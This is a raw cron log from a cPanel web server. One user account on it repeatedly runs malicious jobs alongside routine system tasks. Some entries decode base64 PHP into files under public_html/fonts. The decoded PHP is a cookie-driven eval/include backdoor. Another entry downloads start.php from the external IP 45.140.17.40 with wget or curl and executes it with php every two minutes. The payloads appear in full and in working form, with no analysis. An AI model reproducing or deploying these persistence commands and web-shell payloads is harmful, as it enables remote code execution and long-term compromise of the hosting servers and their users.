Sep 21 06:16:02 ip-184-168-122-23 CROND[1960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:16:02 ip-184-168-122-23 CROND[1962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:16:02 ip-184-168-122-23 CROND[1966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:16:02 ip-184-168-122-23 CROND[1964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:16:02 ip-184-168-122-23 CROND[1967]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 06:16:02 ip-184-168-122-23 CROND[1965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:17:01 ip-184-168-122-23 CROND[2136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:17:01 ip-184-168-122-23 CROND[2137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:17:01 ip-184-168-122-23 CROND[2138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:17:01 ip-184-168-122-23 CROND[2139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:18:01 ip-184-168-122-23 CROND[2275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:18:01 ip-184-168-122-23 CROND[2276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:18:01 ip-184-168-122-23 CROND[2280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:18:01 ip-184-168-122-23 CROND[2281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:18:01 ip-184-168-122-23 CROND[2282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:19:01 ip-184-168-122-23 CROND[2472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:19:01 ip-184-168-122-23 CROND[2474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:19:01 ip-184-168-122-23 CROND[2473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:19:01 ip-184-168-122-23 CROND[2475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2601]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:20:01 ip-184-168-122-23 CROND[2604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2607]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:20:01 ip-184-168-122-23 CROND[2615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:21:01 ip-184-168-122-23 CROND[2844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:21:01 ip-184-168-122-23 CROND[2846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:21:01 ip-184-168-122-23 CROND[2847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:21:01 ip-184-168-122-23 CROND[2851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:22:01 ip-184-168-122-23 CROND[3019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:22:01 ip-184-168-122-23 CROND[3021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:22:01 ip-184-168-122-23 CROND[3023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:22:01 ip-184-168-122-23 CROND[3024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:22:01 ip-184-168-122-23 CROND[3022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:23:01 ip-184-168-122-23 CROND[3151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:23:01 ip-184-168-122-23 CROND[3153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:23:01 ip-184-168-122-23 CROND[3155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:23:01 ip-184-168-122-23 CROND[3157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:24:01 ip-184-168-122-23 CROND[3311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:24:01 ip-184-168-122-23 CROND[3315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:24:01 ip-184-168-122-23 CROND[3313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:24:01 ip-184-168-122-23 CROND[3314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:24:01 ip-184-168-122-23 CROND[3316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:25:01 ip-184-168-122-23 CROND[3481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:25:01 ip-184-168-122-23 CROND[3482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:25:01 ip-184-168-122-23 CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:25:01 ip-184-168-122-23 CROND[3488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:25:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 06:25:01 ip-184-168-122-23 CROND[3490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:25:01 ip-184-168-122-23 CROND[3486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:26:01 ip-184-168-122-23 CROND[3661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:26:01 ip-184-168-122-23 CROND[3662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:26:01 ip-184-168-122-23 CROND[3665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:26:01 ip-184-168-122-23 CROND[3667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:26:01 ip-184-168-122-23 CROND[3666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:27:01 ip-184-168-122-23 CROND[3871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:27:01 ip-184-168-122-23 CROND[3872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:27:01 ip-184-168-122-23 CROND[3874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:27:01 ip-184-168-122-23 CROND[3875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:28:01 ip-184-168-122-23 CROND[4000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
